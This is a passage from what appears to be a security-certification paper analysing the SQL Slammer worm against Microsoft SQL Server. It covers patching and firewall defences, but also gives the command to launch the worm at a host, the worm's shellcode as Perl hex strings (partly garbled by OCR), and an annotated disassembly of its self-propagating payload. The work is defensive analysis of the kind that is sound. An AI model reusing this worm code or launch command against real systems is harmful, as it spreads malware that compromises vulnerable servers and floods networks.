The code was obtained as a perl script and the following command will proceed to infect a host (where worm.pl is the name of the Perl script and x.x.x.x is the IP of the vulnerable host).

Perl worm.pl | x.x.x.x 1434 -u

After that you can just sit back and watch it go as it tries to propagate itself to random hosts. As soon as the above command is run the worm begins its life cycle.

In a laboratory test using the packet capturing software Ethereal¹⁸ the amount of time taken for the worm to send 5000 packets was only 39.176 seconds. This was a tremendously fast propagation.

2.2.12 Signature of the attack

¹⁷ Netcat is a tool for creating connections across UDP and TCP. It can read and write across these connections, and allows you to specify a number of parameters when doing so, such as which ports to communicate on. A good description can be found here: <u>http://www.sans.org/rr/audit/netcat.php</u>
¹⁸ Ethereal is network protocol analyzing software. Useful for sniffing packets and displaying the information in a more human-readable format than straight packet dumps. It also allows you to specify filters, the amount of data you would like to capture and a variety of other features. - <u>http://www.ethereal.com/</u>

2.2.13 How to protect against it

The most effective method to protect against this exploit would be to patch your servers against this vulnerability. Microsoft provided a patch to correct this vulnerability in July of 2002. The patch, once applied, protects not only against the exploit discussed here, but against the other buffer overrun and the Denial of Service vulnerabilities discussed earlier. Applying Service Pack 3 to SQL Server 2000 will also protect against the exploit.

Since the initial appearance of the Slammer worm a number of security and application vendors, including Microsoft, have released products to help detect and eradicate the vulnerability.

The Microsoft product, SQL Critical Update Kit, can be downloaded from <u>http://www.microsoft.com/sql/downloads/securitytools.asp</u>. This tool will detect and patch vulnerable instances of both SQL Server and incarnations of MSDE.

A tool I have found useful in tracking vulnerable servers on my corporate LAN is the Retina Sapphire SQL Worm Scanner from eEye Digital Security. This free tool will scan a class C network and find vulnerable hosts. There is also a commercial version available, which will scan class A and B networks.

http://www.eeye.com/html/Research/Tools/SapphireSQL.html

Best practices also dictate to filter incoming and outgoing connections to SQL Services at the firewall, including not only UDP and TCP port 1434, but also UDP and TCP port 1433. In most cases SQL servers should not be exposed to the Internet. At the very minimum a firewall should be placed between the Internet and all Internet-connected machines. This includes home PC's, as well as servers running applications such as SQL. The firewall should have a policy of denying all connections except for ones that are explicitly stated. For instance, if running a web server, then port 80 should be allowed only into the machine that is running the web server. The following diagram shows a very minimum-security network configuration.

Figure 7 – Minimum Security Network Configuration



Best policy would dictate that you have two or more firewalls, one external Internet facing firewall protecting servers which require access from the Internet, such as web servers and external DNS servers, and at least a second application firewall which

allows only access from specified external servers to specified machines on the internal protected segment. To use an example, if the website you are running accesses a database server, then the External Firewall should allow only traffic to port 80 or whichever port your website runs on. The Internal Firewall would then handle all calls from the web server to the SQL Server database located on the internal network. At a bare minimum the Internal Firewall should allow only connections from a specified web server to the SQL Server.

To go one step further, Network Address Translation (NAT) provides the ability to hide internal addresses from externally connected machines. For instance, instead of the external web server addressing the internal machines using their actual IP addresses, they address the machine using an external IP. The firewall then translates this into the address of the internal machine and forwards the request. This provides one more layer of protection should your external machine become compromised.





Complete configuration of the firewalls is outside the scope of this paper, but there are some very good resources to be found in the SANS Reading Room regarding proper firewall configuration: <u>http://www.sans.org/rr/firewall/</u>.

2.2.14 Source Code/Pseudo Code:

The following source code is neat, simple and effective. This copy of the worm was obtained from Digital Offense¹⁹.

¹⁹ Digital Offense - <u>http://www.digitaloffense.net/worms/mssql_udp_worm/</u>

```
"\x01\x01\x01\x01\x01\x01\x01\x01\x01
"\x01\x01\x01\x01\x01\x01\x01\x01".
"\x01\x01\x01\x01\x01\x01\x01\x01".
"\x01\x01\x01\x01\x01\x01\x01\x01".
"\x01\xdc\xc9\xb0\x42\xeb\x0e\x01".
"\x01\x01\x01\x01\x01\x01\x70\xae".
x42\x01\x70\xae\x42\x90\x90\x90".
"\x90\x90\x90\x90\x90\x68\xdc\xc9".
"\xb0\x42\xb8\x01\x01\x01\x01\x31".
"\xc9\xb1\x18\x50\xe2\xfd\x35\x01".
"\x01\x01\x05\x50\x89\xe5\x51\x68".
"\x2e\x64\x6c\x68\x65\x6c\x33".
"\x32\x68\x6b\x65\x72\x6e\x51\x68".
x6fx75x6ex74x68x69x63x6b.
x43x68x47x65x74x54x66xb9.
"\x6c\x6c\x51\x68\x33\x32\x2e\x64".
x68x77x73x32x5fx66xb9x65.
x74x51x68x73x6fx63x6bx66.
"\xb9\x74\x6f\x51\x68\x73\x65\x6e".
\sqrt{x64} \sqrt{x18} \sqrt{x10} \sqrt{x42} \sqrt{x8d} 
\frac{1}{xd4}x50\frac{16}{x50}x8d\frac{45}{xe0}
\times x50\x8d\x45\xf0\x50\xff\x16\x50".
"\xbe\x10\x10\xae\x42\x8b\x1e\x8b".
x03x3dx55x8bxecx51x74x05".
"\xbe\x1c\x10\xae\x42\xff\x16\xff".
"\xd0\x31\xc9\x51\x51\x50\x81\xf1".
"\x03\x01\x04\x9b\x81\xf1\x01\x01".
x01\x01\x51\x8d\x45\xcc\x50\x8b".
"\x45\xc0\x50\xff\x16\x6a\x11\x6a".
\times 2 \times 6a \times 02 \times ff \times d0 \times 50 \times 8d \times 45".
"\xc4\x50\x8b\x45\xc0\x50\xff\x16".
"\x89\xc6\x09\xdb\x81\xf3\x3c\x61".
"\xd9\xff\x8b\x45\xb4\x8d\x0c\x40".
"\x8d\x14\x88\xc1\xe2\x04\x01\xc2".
"\xc1\xe2\x08\x29\xc2\x8d\x04\x90".
"\x01\xd8\x89\x45\xb4\x6a\x10\x8d".
"\x45\xb0\x50\x31\xc9\x51\x66\x81".
"\xf1\x78\x01\x51\x8d\x45\x03\x50".
"\x8b\x45\xac\x50\xff\xd6\xeb\xca";
```

print \$packet;

for testing in CLOSED network environments: # perl worm.pl | nc server 1434 -u -v -v -v A fairly thorough analysis of the worm's code has been done by eEye Digital Security. The following is their analysis²⁰.

```
:SAPPHIRE WORM CODE DISASSEMBLED
;eEye Digital Security: January 25, 2003
;Updated January 27, 2003
push 42B0C9DCh
                       ; [RET] sqlsort.dll -> jmp esp
                  eax, 1010101h ;
            mov
                          ; Reconstruct session, after the overflow the payload buffer
                           ; gets corrupted during program execution but before the
                           ; payload is executed. The worm writer rebuilds the buffer
                           ; so he can later resend it in the sendto() loop.
                  ecx, ecx
            xor
                   cl, 18h
            mov
  fixup_payload:
            push eax
                  fixup_payload
            loop
                  eax, 5010101h; 0x1010101 xor 0x5010101 = 0x04000000 (msg_type for sql resolution request)
            xor
                           ; 0x04 is the msg type for request, he has no rebuilt the payload
                          ; so it can be fired over the wire later and reinfect.
            push eax
            mov
                   ebp, esp
                           ; Move esp into ebp. This will allow him to reference data
                           ; pushed onto the stack later using ebp. He could use esp
                           ; also except for the fact that he push's a lot of values and
                           ; an esp offset will not as reliable. So he chose ebp...
            push ecx
                           ; During this phase a series of strings and terminating
                           ; nulls are pushed onto the stack. This method is common
```

²⁰ Analysis of the code obtained from eEye Digital Security - <u>http://www.eeye.com/html/Research/Flash/sapphire.txt</u>

As part of GIAC practical repository.

	; in sir ; impo ; use's	nple exploits that don't require a large amount of rts to operate. It should also noted that the worm the ecx register to store nulls, after it is	
	; decre	emented to zero from the loop routine.	
	;		
push	6C6C642Eh		
push	32336C65h		
push	6E72656Bh	; Push string kernel32.dll	
push	ecx		
push	746E756Fh	; Push string GetTickCount	
push	436B6369h		
push	54746547h		
mov	cx, 6C6Ch		
push	ecx		
push	642E3233h	; Push string ws2_32.dll	
push	5F327377h		
mov	cx, 7465h		
push	ecx		
push	6B636F73h	; Push string socket	
mov	cx, 6F74h		
push	ecx		
push	646E6573h	; Push string sendto	
	;		
mov	esi, 42AE101	8h ; sqlsort.dll->IAT entry for LoadLibrary	
	;		
	; The v	worm writer uses the sqlsort IAT to locate	
	; the e	ntry points for LoadLibrary and GetProcAddress.	
	;		
lea eax, [ebp-2Ch]; Load address of string "ws2_32.dll" into eax and			
nuch	, supp	iy as an arguinent to LoadLibrary.	
pusii	dword ptr [agi]	· call salgort: [[AT] > I cad ibrary ("wa? 22 dil")	
Call	awora pa [est]	, can symplet $[171]$ -20au Liviary ($ws2_32.011$)	

push	eax ; When LoadLibrary returns, the base of ws2_32 is in eax.		
-	; This will be used later for a GetProcAddress so he saves		
	; it on the stack using a push.		
lea	eax. [ebp-20h] : Load address of string "GetTickCount" into eax and		
	: nuch it on the stack. This will be used as an argument		
	to the GetProc Address call after the next Load Library call		
marala	, to the OetFlocAddress can after the next LoadLlorary can.		
pusn			
lea	eax, [ebp-10h]; Load address of string "kernel32.dll" into eax		
push	eax		
call	dword ptr [esi]; call sqlsort:[IAT]->LoadLibrary("kernel32.dll")		
push	eax ; When LoadLibrary returns, the base of kernel32 is in eax.		
	; This will be used later for a GetProcAddress so he saves		
	; it on the stack using a push.		
mov	esi, 42ÅE1010h : Move salsort:[IAT] entry into esi, The IAT, or Import Address		
	Table will shift across dll versions so the worm writer checks a		
	; small instruction sequence at the entry point of the function to		
	, small instruction sequence at the entry point of the function to		
	, verify that it is in fact, GetProcAddress.		
mov	ebx, [es1] ; Move IAT entry (function entry point) into ebx.		
	;		
mov	eax, [ebx] ; Move 4 bytes of instructions from function entry point into eax.		
	;		
cmp	eax, 51EC8B55h ; Check entry point fingerprint for getprocaddress, if the compare fails he uses		
	; an assu med IATentry. So he checks the entry, if it's not GetProcAddress he		
	; assumes it's an alternate dll version and uses the static entry in that assumed		
	: dll version.		
	•		
	; The library version I have is:2000.80.534.0. This dll version hips with a base		
	-		

; installation of MSSQL server 2000. The IAT with this DLL is an entry point for ; RtlEnterCriticalSection, so the first check will obviously fail and the jz will ; not succeed.

; It is undetermined what dll versions this payload will succeed on. Due to ; the "if not, then other" importing scheme, this may not work across all dll ; versions.

jz short FOUND_IT ; GetProcAddress(kernel32_base,GetTickCount)

mov esi, 42AE101Ch ; This point is only reached if the previous test failed. On a ; default install of MSSQL Server 2000, we will reach this point.
; T hen next assignment will assign esi the sqlsort.dll->IAT entry ; for GetProcAddress.

FOUND_IT:

call call	dword ptr [esi] ; GetProcAddress(kernel32_base,GetTickCount) eax ; GetTickCount()
xor	ecx, ecx
push	ecx
push	ecx
push	eax ; Push GetTickCount returned value, which is the number ; of milliseconds since the system was last started. This value ; will later be used as a seed for the pseudo random number ; generation.
xor	ecx, $9B040103h$; $0x9B040103$ xor $0x1010101 = 9A050002$ (dest port/family)
xor	ecx, 1010101h
push	ecx ; 9A050002 = port 1434 / AF_INET
lea	; eax, [ebp-34h]; Load address of string "socket" into eax and supply

	; it as the second argument to GetProcAddress
push ea	x
mov ea	x, [ebp-40h]; Load ws2_32 base address into eax and
	; supply as first argument to GetProcAddress.
push ea	x
call dw	ord ptr [esi] ; GetProcAddress(ws2_32,socket)
push 11	h
push 2	
push 2	
call eax	; socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)
push ea	x ; Push socket descriptor
1	; [abs: 20]] . Let a damage of stains lloss dtall into our and
lea eax	, [ebp-3Ch]; Load address of string sendto into eax and
nuch aa	; supply it as the second argument to GetProcAddress.
push ea	x [abn 40b] + I and way 22 base address into any and
mov ea	x, [edp-401]; Load ws2_52 base address find eax and
puch on	, supply it as the first address to GerriocAddress.
call dw	a ord ntr [esi] : GetProc Address(ws2, 32 sendto)
	i eav Save the entry point for sendto, returned by GetProc Address
	· into esi
or ebx	, \cdot ebx = 77F8313C left over from the salsort IAT reads
	$\frac{1}{2}$
xor eb	x. 0FFD9613Ch : We'll end up with 0x88215000 or 0x88336870, depending on dll
•••	: version. Other values are generated depending on dll version.
	;

PSEUDO_RAND_SEND:

mov eax, [ebp-4Ch] ; Load the seed from GetTickCount into eax and enter pseudo ; random generation. The pseudo generation also takes input from ; an xor'd IAT entry to assist in more random generation.

```
ecx, [eax+eax*2]
lea
     edx, [eax+ecx*4]
lea
     edx, 4
shl
    edx, eax
add
     edx, 8
shl
     edx, eax
sub
     eax, [eax+edx*4]
lea
     eax, ebx
add
      [ebp-4Ch], eax ; Store generated IP address into sock_addr structure.
mov
push 10h
     eax, [ebp-50h]; Load address of the sock_addr structure that was
lea
              ; created earlier, into eax, then push as an argument
              ; to sendto().
push eax
                  ; Push (flags) = 0
xor
     ecx, ecx
push ecx
     cx, 178h
                  ; Push payload length = 376
xor
push ecx
     eax, [ebp+3] ; Push address of payload
lea
push
      eax
      eax, [ebp-54h]
mov
push
      eax
                ; sendto(sock,payload,376,0, sock_addr struct, 16)
call esi
      short PSEUDO_RAND_SEN
jmp
```

2.2.15 References/Additional Information:

Microsoft Security Advisory MS02-039 http://www.microsoft.com/technet/treeview/default.asp?url=/technet/security/bulle tin/MS02-039.asp

Exploit Code - Digital Offense http://www.digitaloffense.net/worms/mssql_udp_worm/

Microsoft SQL Server - <u>http://www.microsoft.com/sql/</u>

Microsoft Desktop Engine -<u>http://www.microsoft.com/sql/techinfo/development/2000/MSDE2000.asp?LN=en</u> <u>-us&gssnb=1</u>

Internet Storm Center - http://isc.incidents.org/

IANA - http://www.iana.org/assignments/port-numbers

Internet Security Systems - http://www.iss.net/

Trend Micro - http://www.trendmicro.com/

McAfee Security – <u>http://www.mcafee.com/</u>

F-Secure - http://www.f-secure.com/

eEye Digital Security - http://www.eeye.com/

Sophos - http://www.sophos.com/

Symantec - http://www.symantec.com/

Common Vulnerabilities and Exposures List – <u>http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2002-0649</u>

rfc791 - Internet Protocol - ftp://ftp.rfc-editor.org/in-notes/rfc791.txt

rfc793 - Transmission Control Protocol - ftp://ftp.rfc-editor.org/in-notes/rfc793.txt

Netcat - <u>http://www.sans.org/rr/audit/netcat.php</u>

Ethereal - http://www.ethereal.com/

tcpdump - http://www.tcpdump.org/